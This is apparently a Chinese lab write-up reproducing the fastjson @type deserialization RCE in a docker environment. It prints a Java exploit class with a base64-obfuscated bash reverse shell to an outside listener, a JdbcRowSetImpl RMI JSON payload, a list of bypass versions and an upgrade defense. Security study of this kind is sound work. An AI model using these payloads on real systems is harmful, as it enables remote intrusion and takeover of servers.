概述
fastjson是java中解析json的库。
产生原因
在json字符串中存在@type属性时,fastjson会将该字符串解析为其指定的类。导致不受信任的类被反序列化。
影响
代码执行等
小于等于1.2.68
环境搭建
1 2 3
| cd fastjson/1.2.24-rce docker-compose up -d
|
复现
发送一个json请求

Exp构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.lang.Runtime; import java.lang.Process; public class Exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
同时开启rmi和python监听

发送请求,反弹shell

payload
1 2 3
| { "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.2.183:9998/Exploit","autoCommit":true} }
|
攻防
利用
对于其他版本的fastjson
1.2.24(首个漏洞)–>1.2.41(黑名单绕过)–>1.2.42(黑名单绕过)–>1.2.45(新利用链)–>1.2.47(AutoType绕过)–>1.2.68(AutoType绕过)
防御
升级版本。新版本fastjson删除了@type特性,从根源上防止反序列化发生
参考
JAVA入门到放弃系列之Fastjson反序列化(一)